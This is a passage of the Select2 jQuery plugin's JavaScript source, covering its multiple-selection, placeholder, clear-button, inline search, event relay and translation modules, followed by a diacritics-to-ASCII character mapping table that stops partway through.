        if (self.options.get('disabled')) {
          return;
        }

        var $remove = $(this);
        var $selection = $remove.parent();

        var data = $selection.data('data');

        self.trigger('unselect', {
          originalEvent: evt,
          data: data
        });
      }
    );

    this.$selection.on('keydown', function (evt) {
      // If user starts typing an alphanumeric key on the keyboard, open if not opened.
      if (!container.isOpen() && evt.which >= 48 && evt.which <= 90) {
        container.open();
      }
    });

    // Focus on the search field when the container is focused instead of the main container.
    container.on( 'focus', function(){
      self.focusOnSearch();
    });
  };

  MultipleSelection.prototype.clear = function () {
    this.$selection.find('.select2-selection__rendered').empty();
  };

  MultipleSelection.prototype.display = function (data, container) {
    var template = this.options.get('templateSelection');
    var escapeMarkup = this.options.get('escapeMarkup');

    return escapeMarkup(template(data, container));
  };

  MultipleSelection.prototype.selectionContainer = function () {
    var $container = $(
      '<li class="select2-selection__choice">' +
        '<span class="select2-selection__choice__remove" role="presentation" aria-hidden="true">' +
          '&times;' +
        '</span>' +
      '</li>'
    );

    return $container;
  };

  /**
   * Focus on the search field instead of the main multiselect container.
   */
  MultipleSelection.prototype.focusOnSearch = function() {
    var self = this;

    if ('undefined' !== typeof self.$search) {
      // Needs 1 ms delay because of other 1 ms setTimeouts when rendering.
      setTimeout(function(){
        // Prevent the dropdown opening again when focused from this.
        // This gets reset automatically when focus is triggered.
        self._keyUpPrevented = true;

        self.$search.focus();
      }, 1);
    }
  }

  MultipleSelection.prototype.update = function (data) {
    this.clear();

    if (data.length === 0) {
      return;
    }

    var $selections = [];

    for (var d = 0; d < data.length; d++) {
      var selection = data[d];

      var $selection = this.selectionContainer();
      var formatted = this.display(selection, $selection);
      if ('string' === typeof formatted) {
        formatted = formatted.trim();
      }

      $selection.append(formatted);
      $selection.prop('title', selection.title || selection.text);

      $selection.data('data', selection);

      $selections.push($selection);
    }

    var $rendered = this.$selection.find('.select2-selection__rendered');

    Utils.appendMany($rendered, $selections);
  };

  return MultipleSelection;
});

S2.define('select2/selection/placeholder',[
  '../utils'
], function (Utils) {
  function Placeholder (decorated, $element, options) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options);
  }

  Placeholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  Placeholder.prototype.createPlaceholder = function (decorated, placeholder) {
    var $placeholder = this.selectionContainer();

    $placeholder.html(this.display(placeholder));
    $placeholder.addClass('select2-selection__placeholder')
                .removeClass('select2-selection__choice');

    return $placeholder;
  };

  Placeholder.prototype.update = function (decorated, data) {
    var singlePlaceholder = (
      data.length == 1 && data[0].id != this.placeholder.id
    );
    var multipleSelections = data.length > 1;

    if (multipleSelections || singlePlaceholder) {
      return decorated.call(this, data);
    }

    this.clear();

    var $placeholder = this.createPlaceholder(this.placeholder);

    this.$selection.find('.select2-selection__rendered').append($placeholder);
  };

  return Placeholder;
});

S2.define('select2/selection/allowClear',[
  'jquery',
  '../keys'
], function ($, KEYS) {
  function AllowClear () { }

  AllowClear.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    if (this.placeholder == null) {
      if (this.options.get('debug') && window.console && console.error) {
        console.error(
          'Select2: The `allowClear` option should be used in combination ' +
          'with the `placeholder` option.'
        );
      }
    }

    this.$selection.on('mousedown', '.select2-selection__clear',
      function (evt) {
        self._handleClear(evt);
    });

    container.on('keypress', function (evt) {
      self._handleKeyboardClear(evt, container);
    });
  };

  AllowClear.prototype._handleClear = function (_, evt) {
    // Ignore the event if it is disabled
    if (this.options.get('disabled')) {
      return;
    }

    var $clear = this.$selection.find('.select2-selection__clear');

    // Ignore the event if nothing has been selected
    if ($clear.length === 0) {
      return;
    }

    evt.stopPropagation();

    var data = $clear.data('data');

    for (var d = 0; d < data.length; d++) {
      var unselectData = {
        data: data[d]
      };

      // Trigger the `unselect` event, so people can prevent it from being
      // cleared.
      this.trigger('unselect', unselectData);

      // If the event was prevented, don't clear it out.
      if (unselectData.prevented) {
        return;
      }
    }

    this.$element.val(this.placeholder.id).trigger('change');

    this.trigger('toggle', {});
  };

  AllowClear.prototype._handleKeyboardClear = function (_, evt, container) {
    if (container.isOpen()) {
      return;
    }

    if (evt.which == KEYS.DELETE || evt.which == KEYS.BACKSPACE) {
      this._handleClear(evt);
    }
  };

  AllowClear.prototype.update = function (decorated, data) {
    decorated.call(this, data);

    if (this.$selection.find('.select2-selection__placeholder').length > 0 ||
        data.length === 0) {
      return;
    }

    var $remove = $(
      '<span class="select2-selection__clear">' +
        '&times;' +
      '</span>'
    );
    $remove.data('data', data);

    this.$selection.find('.select2-selection__rendered').prepend($remove);
  };

  return AllowClear;
});

S2.define('select2/selection/search',[
  'jquery',
  '../utils',
  '../keys'
], function ($, Utils, KEYS) {
  function Search (decorated, $element, options) {
    decorated.call(this, $element, options);
  }

  Search.prototype.render = function (decorated) {
    var $search = $(
      '<li class="select2-search select2-search--inline">' +
        '<input class="select2-search__field" type="text" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="textbox" aria-autocomplete="list" />' +
      '</li>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    var $rendered = decorated.call(this);

    this._transferTabIndex();

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;
    var resultsId = container.id + '-results';

    decorated.call(this, container, $container);

    container.on('open', function () {
      self.$search.attr('aria-owns', resultsId);
      self.$search.trigger('focus');
    });

    container.on('close', function () {
      self.$search.val('');
      self.$search.removeAttr('aria-activedescendant');
      self.$search.removeAttr('aria-owns');
      self.$search.trigger('focus');
    });

    container.on('enable', function () {
      self.$search.prop('disabled', false);

      self._transferTabIndex();
    });

    container.on('disable', function () {
      self.$search.prop('disabled', true);
    });

    container.on('focus', function (evt) {
      self.$search.trigger('focus');
    });

    container.on('results:focus', function (params) {
      self.$search.attr('aria-activedescendant', params.data._resultId);
    });

    this.$selection.on('focusin', '.select2-search--inline', function (evt) {
      self.trigger('focus', evt);
    });

    this.$selection.on('focusout', '.select2-search--inline', function (evt) {
      self._handleBlur(evt);
    });

    this.$selection.on('keydown', '.select2-search--inline', function (evt) {
      evt.stopPropagation();

      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();

      var key = evt.which;

      if (key === KEYS.BACKSPACE && self.$search.val() === '') {
        var $previousChoice = self.$searchContainer
          .prev('.select2-selection__choice');

        if ($previousChoice.length > 0) {
          var item = $previousChoice.data('data');

          self.searchRemoveChoice(item);

          evt.preventDefault();
        }
      } else if (evt.which === KEYS.ENTER) {
        container.open();
        evt.preventDefault();
      }
    });

    // Try to detect the IE version should the `documentMode` property that
    // is stored on the document. This is only implemented in IE and is
    // slightly cleaner than doing a user agent check.
    // This property is not available in Edge, but Edge also doesn't have
    // this bug.
    var msie = document.documentMode;
    var disableInputEvents = msie && msie <= 11;

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$selection.on(
      'input.searchcheck',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents) {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        // Unbind the duplicated `keyup` event
        self.$selection.off('keyup.search');
      }
    );

    this.$selection.on(
      'keyup.search input.search',
      '.select2-search--inline',
      function (evt) {
        // IE will trigger the `input` event when a placeholder is used on a
        // search box. To get around this issue, we are forced to ignore all
        // `input` events in IE and keep using `keyup`.
        if (disableInputEvents && evt.type === 'input') {
          self.$selection.off('input.search input.searchcheck');
          return;
        }

        var key = evt.which;

        // We can freely ignore events from modifier keys
        if (key == KEYS.SHIFT || key == KEYS.CTRL || key == KEYS.ALT) {
          return;
        }

        // Tabbing will be handled during the `keydown` phase
        if (key == KEYS.TAB) {
          return;
        }

        self.handleSearch(evt);
      }
    );
  };

  /**
   * This method will transfer the tabindex attribute from the rendered
   * selection to the search box. This allows for the search box to be used as
   * the primary focus instead of the selection container.
   *
   * @private
   */
  Search.prototype._transferTabIndex = function (decorated) {
    this.$search.attr('tabindex', this.$selection.attr('tabindex'));
    this.$selection.attr('tabindex', '-1');
  };

  Search.prototype.createPlaceholder = function (decorated, placeholder) {
    this.$search.attr('placeholder', placeholder.text);
  };

  Search.prototype.update = function (decorated, data) {
    var searchHadFocus = this.$search[0] == document.activeElement;

    this.$search.attr('placeholder', '');

    decorated.call(this, data);

    this.$selection.find('.select2-selection__rendered')
                   .append(this.$searchContainer);

    this.resizeSearch();
    if (searchHadFocus) {
      this.$search.focus();
    }
  };

  Search.prototype.handleSearch = function () {
    this.resizeSearch();

    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.searchRemoveChoice = function (decorated, item) {
    this.trigger('unselect', {
      data: item
    });

    this.$search.val(item.text);
    this.handleSearch();
  };

  Search.prototype.resizeSearch = function () {
    this.$search.css('width', '25px');

    var width = '';

    if (this.$search.attr('placeholder') !== '') {
      width = this.$selection.find('.select2-selection__rendered').innerWidth();
    } else {
      var minimumWidth = this.$search.val().length + 1;

      width = (minimumWidth * 0.75) + 'em';
    }

    this.$search.css('width', width);
  };

  return Search;
});

S2.define('select2/selection/eventRelay',[
  'jquery'
], function ($) {
  function EventRelay () { }

  EventRelay.prototype.bind = function (decorated, container, $container) {
    var self = this;
    var relayEvents = [
      'open', 'opening',
      'close', 'closing',
      'select', 'selecting',
      'unselect', 'unselecting'
    ];

    var preventableEvents = ['opening', 'closing', 'selecting', 'unselecting'];

    decorated.call(this, container, $container);

    container.on('*', function (name, params) {
      // Ignore events that should not be relayed
      if ($.inArray(name, relayEvents) === -1) {
        return;
      }

      // The parameters should always be an object
      params = params || {};

      // Generate the jQuery event for the Select2 event
      var evt = $.Event('select2:' + name, {
        params: params
      });

      self.$element.trigger(evt);

      // Only handle preventable events if it was one
      if ($.inArray(name, preventableEvents) === -1) {
        return;
      }

      params.prevented = evt.isDefaultPrevented();
    });
  };

  return EventRelay;
});

S2.define('select2/translation',[
  'jquery',
  'require'
], function ($, require) {
  function Translation (dict) {
    this.dict = dict || {};
  }

  Translation.prototype.all = function () {
    return this.dict;
  };

  Translation.prototype.get = function (key) {
    return this.dict[key];
  };

  Translation.prototype.extend = function (translation) {
    this.dict = $.extend({}, translation.all(), this.dict);
  };

  // Static functions

  Translation._cache = {};

  Translation.loadPath = function (path) {
    if (!(path in Translation._cache)) {
      var translations = require(path);

      Translation._cache[path] = translations;
    }

    return new Translation(Translation._cache[path]);
  };

  return Translation;
});

S2.define('select2/diacritics',[

], function () {
  var diacritics = {
    '\u24B6': 'A',
    '\uFF21': 'A',
    '\u00C0': 'A',
    '\u00C1': 'A',
    '\u00C2': 'A',
    '\u1EA6': 'A',
    '\u1EA4': 'A',
    '\u1EAA': 'A',
    '\u1EA8': 'A',
    '\u00C3': 'A',
    '\u0100': 'A',
    '\u0102': 'A',
    '\u1EB0': 'A',
    '\u1EAE': 'A',
    '\u1EB4': 'A',
    '\u1EB2': 'A',
    '\u0226': 'A',
    '\u01E0': 'A',
    '\u00C4': 'A',
    '\u01DE': 'A',
    '\u1EA2': 'A',
    '\u00C5': 'A',
    '\u01FA': 'A',
    '\u01CD': 'A',
    '\u0200': 'A',
    '\u0202': 'A',
    '\u1EA0': 'A',
    '\u1EAC': 'A',
    '\u1EB6': 'A',
    '\u1E00': 'A',
    '\u0104': 'A',
    '\u023A': 'A',
    '\u2C6F': 'A',
    '\uA732': 'AA',
    '\u00C6': 'AE',
    '\u01FC': 'AE',
    '\u01E2': 'AE',
    '\uA734': 'AO',
    '\uA736': 'AU',
    '\uA738': 'AV',
    '\uA73A': 'AV',
    '\uA73C': 'AY',
    '\u24B7': 'B',
    '\uFF22': 'B',
    '\u1E02': 'B',
    '\u1E04': 'B',
    '\u1E06': 'B',
    '\u0243': 'B',
    '\u0182': 'B',
    '\u0181': 'B',
    '\u24B8': 'C',
    '\uFF23': 'C',
    '\u0106': 'C',
    '\u0108': 'C',
    '\u010A': 'C',
    '\u010C': 'C',
    '\u00C7': 'C',
    '\u1E08': 'C',
    '\u0187': 'C',
    '\u023B': 'C',
    '\uA73E': 'C',
    '\u24B9': 'D',
    '\uFF24': 'D',
    '\u1E0A': 'D',
    '\u010E': 'D',
    '\u1E0C': 'D',
    '\u1E10': 'D',
    '\u1E12': 'D',
    '\u1E0E': 'D',
    '\u0110': 'D',
    '\u018B': 'D',
    '\u018A': 'D',
    '\u0189': 'D',
    '\uA779': 'D',
    '\u01F1': 'DZ',
    '\u01C4': 'DZ',
    '\u01F2': 'Dz',
    '\u01C5': 'Dz',
    '\u24BA': 'E',
    '\uFF25': 'E',
    '\u00C8': 'E',
    '\u00C9': 'E',
    '\u00CA': 'E',
    '\u1EC0': 'E',
    '\u1EBE': 'E',
    '\u1EC4': 'E',
    '\u1EC2': 'E',
    '\u1EBC': 'E',
    '\u0112': 'E',
    '\u1E14': 'E',
    '\u1E16': 'E',
    '\u0114': 'E',
    '\u0116': 'E',
    '\u00CB': 'E',
    '\u1EBA': 'E',
    '\u011A': 'E',
    '\u0204': 'E',
    '\u0206': 'E',
    '\u1EB8': 'E',
    '\u1EC6': 'E',
    '\u0228': 'E',
    '\u1E1C': 'E',
    '\u0118': 'E',
    '\u1E18': 'E',
    '\u1E1A': 'E',
    '\u0190': 'E',
    '\u018E': 'E',
    '\u24BB': 'F',
    '\uFF26': 'F',
    '\u1E1E': 'F',
    '\u0191': 'F',
    '\uA77B': 'F',
    '\u24BC': 'G',
    '\uFF27': 'G',
    '\u01F4': 'G',
    '\u011C': 'G',
    '\u1E20': 'G',
    '\u011E': 'G',
    '\u0120': 'G',
    '\u01E6': 'G',
    '\u0122': 'G',
    '\u01E4': 'G',
    '\u0193': 'G',
    '\uA7A0': 'G',
    '\uA77D': 'G',
    '\uA77E': 'G',
    '\u24BD': 'H',
    '\uFF28': 'H',
    '\u0124': 'H',
    '\u1E22': 'H',
    '\u1E26': 'H',
    '\u021E': 'H',
    '\u1E24': 'H',
    '\u1E28': 'H',
    '\u1E2A': 'H',
    '\u0126': 'H',
    '\u2C67': 'H',
    '\u2C75': 'H',
    '\uA78D': 'H',
    '\u24BE': 'I',
    '\uFF29': 'I',
    '\u00CC': 'I',
    '\u00CD': 'I',
    '\u00CE': 'I',
    '\u0128': 'I',
    '\u012A': 'I',
    '\u012C': 'I',
    '\u0130': 'I',
    '\u00CF': 'I',
    '\u1E2E': 'I',
    '\u1EC8': 'I',
    '\u01CF': 'I',
    '\u0208': 'I',
    '\u020A': 'I',
    '\u1ECA': 'I',
    '\u012E': 'I',
    '\u1E2C': 'I',
    '\u0197': 'I',
    '\u24BF': 'J',
    '\uFF2A': 'J',
    '\u0134': 'J',
    '\u0248': 'J',
    '\u24C0': 'K',
    '\uFF2B': 'K',
    '\u1E30': 'K',
    '\u01E8': 'K',
    '\u1E32': 'K',
    '\u0136': 'K',
    '\u1E34': 'K',
    '\u0198': 'K',
    '\u2C69': 'K',
    '\uA740': 'K',
    '\uA742': 'K',
    '\uA744': 'K',
    '\uA7A2': 'K',
    '\u24C1': 'L',
    '\uFF2C': 'L',
    '\u013F': 'L',
    '\u0139': 'L',
    '\u013D': 'L',
    '\u1E36': 'L',
    '\u1E38': 'L',
    '\u013B': 'L',
    '\u1E3C': 'L',
    '\u1E3A': 'L',
    '\u0141': 'L',
    '\u023D': 'L',
    '\u2C62': 'L',
    '\u2C60': 'L',
    '\uA748': 'L',
    '\uA746': 'L',
    '\uA780': 'L',
    '\u01C7': 'LJ',
    '\u01C8': 'Lj',
    '\u24C2': 'M',
    '\uFF2D': 'M',
    '\u1E3E': 'M',
    '\u1E40': 'M',
    '\u1E42': 'M',
    '\u2C6E': 'M',
    '\u019C': 'M',
    '\u24C3': 'N',
    '\uFF2E': 'N',
    '\u01F8': 'N',
    '\u0143': 'N',
    '\u00D1': 'N',
    '\u1E44': 'N',
    '\u0147': 'N',
    '\u1E46': 'N',
    '\u0145': 'N',
    '\u1E4A': 'N',
    '\u1E48': 'N',
    '\u0220': 'N',
    '\u019D': 'N',
    '\uA790': 'N',
    '\uA7A4': 'N',
    '\u01CA': 'NJ',
    '\u01CB': 'Nj',
    '\u24C4': 'O',
    '\uFF2F': 'O',
    '\u00D2': 'O',
    '\u00D3': 'O',
    '\u00D4': 'O',
    '\u1ED2': 'O',
    '\u1ED0': 'O',
    '\u1ED6': 'O',
    '\u1ED4': 'O',
    '\u00D5': 'O',
    '\u1E4C': 'O',
    '\u022C': 'O',
    '\u1E4E': 'O',
    '\u014C': 'O',
    '\u1E50': 'O',
    '\u1E52': 'O',
    '\u014E': 'O',
    '\u022E': 'O',
    '\u0230': 'O',
    '\u00D6': 'O',
    '\u022A': 'O',
    '\u1ECE': 'O',
    '\u0150': 'O',
    '\u01D1': 'O',
    '\u020C': 'O',
    '\u020E': 'O',
    '\u01A0': 'O',
    '\u1EDC': 'O',
    '\u1EDA': 'O',
    '\u1EE0': 'O',
    '\u1EDE': 'O',
    '\u1EE2': 'O',
    '\u1ECC': 'O',
    '\u1ED8': 'O',
    '\u01EA': 'O',
    '\u01EC': 'O',
    '\u00D8': 'O',
    '\u01FE': 'O',
    '\u0186': 'O',
    '\u019F': 'O',
    '\uA74A': 'O',
    '\uA74C': 'O',
    '\u01A2': 'OI',
    '\uA74E': 'OO',
    '\u0222': 'OU',
    '\u24C5': 'P',
    '\uFF30': 'P',
    '\u1E54': 'P',
    '\u1E56': 'P',
    '\u01A4': 'P',
    '\u2C63': 'P',
    '\uA750': 'P',
    '\uA752': 'P',
    '\uA754': 'P',
    '\u24C6': 'Q',
    '\uFF31': 'Q',
    '\uA756': 'Q',
    '\uA758': 'Q',
    '\u024A': 'Q',
    '\u24C7': 'R',
    '\uFF32': 'R',
    '\u0154': 'R',
    '\u1E58': 'R',
    '\u0158': 'R',
    '\u0210': 'R',
    '\u0212': 'R',
    '\u1E5A': 'R',
    '\u1E5C': 'R',
    '\u0156': 'R',
    '\u1E5E': 'R',
    '\u024C': 'R',
    '\u2C64': 'R',
    '\uA75A': 'R',
    '\uA7A6': 'R',
    '\uA782': 'R',
    '\u24C8': 'S',
    '\uFF33': 'S',
    '\u1E9E': 'S',
    '\u015A': 'S',
    '\u1E64': 'S',
    '\u015C': 'S',
    '\u1E60': 'S',
    '\u0160': 'S',
    '\u1E66': 'S',
    '\u1E62': 'S',
    '\u1E68': 'S',
    '\u0218': 'S',
    '\u015E': 'S',
    '\u2C7E': 'S',
    '\uA7A8': 'S',
    '\uA784': 'S',
    '\u24C9': 'T',
    '\uFF34': 'T',
    '\u1E6A': 'T',
    '\u0164': 'T',
    '\u1E6C': 'T',
    '\u021A': 'T',
    '\u0162': 'T',
    '\u1E70': 'T',
    '\u1E6E': 'T',
    '\u0166': 'T',
    '\u01AC': 'T',
    '\u01AE': 'T',
    '\u023E': 'T',
    '\uA786': 'T',
    '\uA728': 'TZ',
    '\u24CA': 'U',
    '\uFF35': 'U',
    '\u00D9': 'U',
    '\u00DA': 'U',
    '\u00DB': 'U',
    '\u0168': 'U',
    '\u1E78': 'U',
    '\u016A': 'U',
    '\u1E7A': 'U',
    '\u016C': 'U',
    '\u00DC': 'U',
    '\u01DB': 'U',
    '\u01D7': 'U',
    '\u01D5': 'U',
    '\u01D9': 'U',
    '\u1EE6': 'U',
    '\u016E': 'U',
    '\u0170': 'U',
    '\u01D3': 'U',
    '\u0214': 'U',
    '\u0216': 'U',
    '\u01AF': 'U',
    '\u1EEA': 'U',
    '\u1EE8': 'U',
    '\u1EEE': 'U',
    '\u1EEC': 'U',
    '\u1EF0': 'U',
    '\u1EE4': 'U',
    '\u1E72': 'U',
    '\u0172': 'U',
    '\u1E76': 'U',
    '\u1E74': 'U',
    '\u0244': 'U',
    '\u24CB': 'V',
    '\uFF36': 'V',
    '\u1E7C': 'V',
    '\u1E7E': 'V',
    '\u01B2': 'V',
    '\uA75E': 'V',
    '\u0245': 'V',
    '\uA760': 'VY',
    '\u24CC': 'W',
    '\uFF37': 'W',
    '\u1E80': 'W',
    '\u1E82': 'W',
    '\u0174': 'W',
    '\u1E86': 'W',
    '\u1E84': 'W',
    '\u1E88': 'W',
    '\u2C72': 'W',
    '\u24CD': 'X',
    '\uFF38': 'X',
    '\u1E8A': 'X',
    '\u1E8C': 'X',
    '\u24CE': 'Y',
    '\uFF39': 'Y',
    '\u1EF2': 'Y',
    '\u00DD': 'Y',
    '\u0176': 'Y',
    '\u1EF8': 'Y',
    '\u0232': 'Y',
    '\u1E8E': 'Y',
    '\u0178': 'Y',
    '\u1EF6': 'Y',
    '\u1EF4': 'Y',
    '\u01B3': 'Y',
    '\u024E': 'Y',
    '\u1EFE': 'Y',
    '\u24CF': 'Z',
    '\uFF3A': 'Z',
    '\u0179': 'Z',
    '\u1E90': 'Z',
    '\u017B': 'Z',
    '\u017D': 'Z',
    '\u1E92': 'Z',
    '\u1E94': 'Z',
    '\u01B5': 'Z',
    '\u0224': 'Z',
    '\u2C7F': 'Z',
    '\u2C6B': 'Z',
    '\uA762': 'Z',
    '\u24D0': 'a',
    '\uFF41': 'a',
    '\u1E9A': 'a',
    '\u00E0': 'a',
    '\u00E1': 'a',
    '\u00E2': 'a',
    '\u1EA7': 'a',
    '\u1EA5': 'a',
    '\u1EAB': 'a',
    '\u1EA9': 'a',
    '\u00E3': 'a',
    '\u0101': 'a',
    '\u0103': 'a',
    '\u1EB1': 'a',
    '\u1EAF': 'a',
    '\u1EB5': 'a',
    '\u1EB3': 'a',
    '\u0227': 'a',
    '\u01E1': 'a',
    '\u00E4': 'a',
    '\u01DF': 'a',
    '\u1EA3': 'a',
    '\u00E5': 'a',
    '\u01FB': 'a',
    '\u01CE': 'a',
    '\u0201': 'a',
    '\u0203': 'a',
    '\u1EA1': 'a',
    '\u1EAD': 'a',
    '\u1EB7': 'a',
    '\u1E01': 'a',
    '\u0105': 'a',
    '\u2C65': 'a',
    '\u0250': 'a',
    '\uA733': 'aa',
    '\u00E6': 'ae',
    '\u01FD': 'ae',
    '\u01E3': 'ae',
    '\uA735': 'ao',
    '\uA737': 'au',
    '\uA739': 'av',
    '\uA73B': 'av',
    '\uA73D': 'ay',
    '\u24D1': 'b',
    '\uFF42': 'b',
    '\u1E03': 'b',
    '\u1E05': 'b',
    '\u1E07': 'b',
    '\u0180': 'b',
    '\u0183': 'b',
    '\u0253': 'b',
    '\u24D2': 'c',
    '\uFF43': 'c',
    '\u0107': 'c',
    '\u0109': 'c',
    '\u010B': 'c',
    '\u010D': 'c',
    '\u00E7': 'c',
    '\u1E09': 'c',
    '\u0188': 'c',
    '\u023C': 'c',
    '\uA73F': 'c',
    '\u2184': 'c',
    '\u24D3': 'd',
    '\uFF44': 'd',
    '\u1E0B': 'd',
    '\u010F': 'd',
    '\u1E0D': 'd',
    '\u1E11': 'd',
    '\u1E13': 'd',
    '\u1E0F': 'd',
    '\u0111': 'd',
    '\u018C': 'd',
    '\u0256': 'd',
    '\u0257': 'd',
    '\uA77A': 'd',
    '\u01F3': 'dz',
    '\u01C6': 'dz',
    '\u24D4': 'e',
    '\uFF45': 'e',
    '\u00E8': 'e',
    '\u00E9': 'e',
    '\u00EA': 'e',
    '\u1EC1': 'e',
    '\u1EBF': 'e',
    '\u1EC5': 'e',
    '\u1EC3': 'e',
    '\u1EBD': 'e',
    '\u0113': 'e',
    '\u1E15': 'e',
    '\u1E17': 'e',
    '\u0115': 'e',
    '\u0117': 'e',
    '\u00EB': 'e',
    '\u1EBB': 'e',
    '\u011B': 'e',
    '\u0205': 'e',
    '\u0207': 'e',
    '\u1EB9': 'e',
    '\u1EC7': 'e',
    '\u0229': 'e',
    '\u1E1D': 'e',
    '\u0119': 'e',
    '\u1E19': 'e',
    '\u1E1B': 'e',
    '\u0247': 'e',
    '\u025B': 'e',
    '\u01DD': 'e',
    '\u24D5': 'f',
    '\uFF46': 'f',
    '\u1E1F': 'f',
    '\u0192': 'f',
    '\uA77C': 'f',
    '\u24D6': 'g',
    '\uFF47': 'g',
    '\u01F5': 'g',
    '\u011D': 'g',
    '\u1E21': 'g',
    '\u011F': 'g',
    '\u0121': 'g',
    '\u01E7': 'g',
    '\u0123': 'g',
    '\u01E5': 'g',
    '\u0260': 'g',
    '\uA7A1': 'g',
    '\u1D79': 'g',
    '\uA77F': 'g',
    '\u24D7': 'h',
    '\uFF48': 'h',
    '\u0125': 'h',
    '\u1E23': 'h',
    '\u1E27': 'h',
    '\u021F': 'h',
    '\u1E25': 'h',
    '\u1E29': 'h',
    '\u1E2B': 'h',
    '\u1E96': 'h',
    '\u0127': 'h',
    '\u2C68': 'h',
    '\u2C76': 'h',
    '\u0265': 'h',
    '\u0195': 'hv',
    '\u24D8': 'i',
    '\uFF49': 'i',
    '\u00EC': 'i',
    '\u00ED': 'i',
    '\u00EE': 'i',
    '\u0129': 'i',
    '\u012B': 'i',
    '\u012D': 'i',
    '\u00EF': 'i',
    '\u1E2F': 'i',
    '\u1EC9': 'i',
    '\u01D0': 'i',
    '\u0209': 'i',
    '\u020B': 'i',
    '\u1ECB': 'i',
    '\u012F': 'i',
    '\u1E2D': 'i',
    '\u0268': 'i',
    '\u0131': 'i',
    '\u24D9': 'j',
    '\uFF4A': 'j',
    '\u0135': 'j',
    '\u01F0': 'j',
    '\u0249': 'j',
    '\u24DA': 'k',
    '\uFF4B': 'k',
    '\u1E31': 'k',
    '\u01E9': 'k',
    '\u1E33': 'k',
    '\u0137': 'k',
    '\u1E35': 'k',
    '\u0199': 'k',
    '\u2C6A': 'k',
    '\uA741': 'k',
    '\uA743': 'k',
    '\uA745': 'k',
    '\uA7A3': 'k',
    '\u24DB': 'l',
    '\uFF4C': 'l',
    '\u0140': 'l',
    '\u013A': 'l',
    '\u013E': 'l',
    '\u1E37': 'l',
    '\u1E39': 'l',
    '\u013C': 'l',
    '\u1E3D': 'l',
    '\u1E3B': 'l',
    '\u017F': 'l',
    '\u0142': 'l',
    '\u019A': 'l',
    '\u026B': 'l',
    '\u2C61': 'l',
    '\uA749': 'l',
    '\uA781': 'l',
    '\uA747': 'l',
    '\u01C9': 'lj',
    '\u24DC': 'm',
    '\uFF4D': 'm',
    '\u1E3F': 'm',
    '\u1E41': 'm',
    '\u1E43': 'm',
    '\u0271': 'm',
    '\u026F': 'm',
    '\u24DD': 'n',
    '\uFF4E': 'n',
    '\u01F9': 'n',
    '\u0144': 'n',
    '\u00F1': 'n',
    '\u1E45': 'n',
    '\u0148': 'n',
    '\u1E47': 'n',
    '\u0146': 'n',
    '\u1E4B': 'n',
    '\u1E49': 'n',
    '\u019E': 'n',
    '\u0272': 'n',
    '\u0149': 'n',
    '\uA791': 'n',
    '\uA7A5': 'n',
    '\u01CC': 'nj',
    '\u24DE': 'o',
    '\uFF4F': 'o',
    '\u00F2': 'o',
    '\u00F3': 'o',
    '\u00F4': 'o',
    '\u1ED3': 'o',
    '\u1ED1': 'o',
    '\u1ED7': 'o',
    '\u1ED5': 'o',
    '\u00F5': 'o',
    '\u1E4D': 'o',
    '\u022D': 'o',
    '\u1E4F': 'o',
    '\u014D': 'o',
    '\u1E51': 'o',
    '\u1E53': 'o',
    '\u014F': 'o',
    '\u022F': 'o',
    '\u0231': 'o',
    '\u00F6': 'o',
    '\u022B': 'o',
    '\u1ECF': 'o',
    '\u0151': 'o',
    '\u01D2': 'o',
    '\u020D': 'o',
    '\u020F': 'o',
    '\u01A1': 'o',
    '\u1EDD': 'o',
    '\u1EDB': 'o',
    '\u1EE1': 'o',
    '\u1EDF': 'o',
    '\u1EE3': 'o',
    '\u1ECD': 'o',
    '\u1ED9': 'o',
    '\u01EB': 'o',
    '\u01ED': 'o',
    '\u00F8': 'o',
    '\u01FF': 'o',
    '\u0254': 'o',
    '\uA74B': 'o',
    '\uA74D': 'o',
    '\u0275': 'o',
    '\u01A3': 'oi',
    '\u0223': 'ou',
    '\uA74F': 'oo',
    '\u24DF': 'p',
    '\uFF50': 'p',
    '\u1E55': 'p',
    '\u1E57': 'p',
    '\u01A5': 'p',
    '\u1D7D': 'p',
    '\uA751': 'p',
    '\uA753': 'p',
    '\uA755': 'p',
    '\u24E0': 'q',
    '\uFF51': 'q',
    '\u024B': 'q',
    '\uA757': 'q',
    '\uA759': 'q',
    '\u24E1': 'r',
    '\uFF52': 'r',
    '\u0155': 'r',
    '\u1E59': 'r',
    '\u0159': 'r',
    '\u0211': 'r',
    '\u0213': 'r',
    '\u1E5B': 'r',
    '\u1E5D': 'r',
    '\u0157': 'r',
    '\u1E5F': 'r',
    '\u024D': 'r',
    '\u027D': 'r',
    '\uA75B': 'r',
    '\uA7A7': 'r',
    '\uA783': 'r',
    '\u24E2': 's',
    '\uFF53': 's',
    '\u00DF': 's',
    '\u015B': 's',
    '\u1E65': 's',
    '\u015D': 's',
    '\u1E61': 's',
    '\u0161': 's',
    '\u1E67': 's',
    '\u1E63': 's',
    '\u1E69': 's',
    '\u0219': 's',
    '\u015F': 's',
    '\u023F': 's',
    '\uA7A9': 's',
    '\uA785': 's',
    '\u1E9B': 's',
    '\u24E3': 't',
    '\uFF54': 't',
    '\u1E6B': 't',
    '\u1E97': 't',
    '\u0165': 't',
    '\u1E6D': 't',
    '\u021B': 't',
    '\u0163': 't',
    '\u1E71': 't',
    '\u1E6F': 't',
    '\u0167': 't',
    '\u01AD': 't',
    '\u0288': 't',
    '\u2C66': 't',
    '\uA787': 't',
    '\uA729': 'tz',
    '\u24E4': 'u',
    '\uFF55': 'u',
    '\u00F9': 'u',
